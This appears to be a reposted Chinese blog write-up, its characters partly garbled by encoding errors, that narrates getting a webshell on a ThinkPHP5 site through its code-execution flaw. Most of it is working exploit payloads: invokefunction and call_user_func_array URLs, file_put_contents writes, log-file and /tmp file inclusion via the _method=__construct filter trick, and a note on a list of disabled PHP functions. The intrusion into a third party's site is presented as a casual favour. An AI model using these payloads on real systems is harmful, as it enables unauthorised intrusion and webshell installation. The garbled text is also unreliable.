1、一次艱苦的ThinkPHP5代碼執(zhí)行 作者：王老實 原文鏈接：/s/x3DlkIlMxJD9lY4ThulBaQ本文由 干貨 收集整理：/test/index.php昨天半夜，突然失聯(lián)多年的好突然上線，以為找我借錢！結(jié)果是一個 ThinkPHP5 代碼執(zhí)行搞不定， 我看了一下，以我多年的經(jīng)驗，思路總結(jié)一下。 思路 1 ：執(zhí)行命令寫 webshellhttp:/www.xxx.co/index.php?s=index/thinkapp/invokefunction&function=call_user_func_a

2、rray&vars0=phpinfo&vars1=610passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server這豪華大套餐，此路不通。沒事我還有方法整你。 思路 2 ： php 自帶函數(shù)寫 webshellfile_put_contents 函數(shù)請君入甕！ 報錯了 ?s=index/thinkapp/inv

3、okefunction&function=call_user_func_array&vars0=file_put_contents&vars1=sss.txt&vars11=我開始慌了，怎么辦， 沒事，我知道什么原因， 原因如下：根目錄沒權(quán)限寫， 我換個目錄行了吧， 就一個目錄，測試了 upload、 data 、 等目錄都沒有 目前就一個目錄 結(jié)果還是一樣，。 現(xiàn)在我是開始慌了，怎么辦，慌了不要緊，首先思路要明確，然后開始和老閑聊一下，吹吹水 ing.結(jié)果得知能讓我的好自閉一天！不行，這個逼我必須給他裝上， 閑聊了一下，開始新的思路， 思路 3 ：寫日志文件包含 getshell前人栽樹后人

4、乘涼，這思路我也是在網(wǎng)上看到的， 利用文件包含_method= construct&method=get&filter=think include_file&server=phpinfo&get=./data/runtime/log/201901/21.log&x=phpinfo();利用其他變量傳參_method= construct&method=get&filter=call_user_func&server=phpinfo&get=然后訪問了一下網(wǎng)站目錄 runtime data Application 等目錄 404 ！ 可能目錄結(jié)構(gòu)是上級的 網(wǎng)站目錄是根本訪問不到的！ 突然我也有點

5、自閉了。 瞎整了半天，突然想到，會不會整站沒權(quán)限寫入權(quán)限，但是此時我已經(jīng)又有了新的思路 思路 4 ：組合拳老師傅首先：把文件寫到 /tmp/ 目錄下，然后配合文件包含的 poc 組合拳一波看看結(jié)果不負(fù)眾望！，寫入文件 poc ： ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars0=file_put_contents&vars1=/tmp/2333.txt&vars11=然后使用文件包含 Poc ： http:/www.xxx.co/index.php?s=captcha Post:_method= construct&method=get&filter=think include_file&server=phpinfo&get=/tmp/2333.txt&123=phpinfo();Ok 搞定，然想怎么方便連接呢?。?！ 沒事，我們有倚天劍在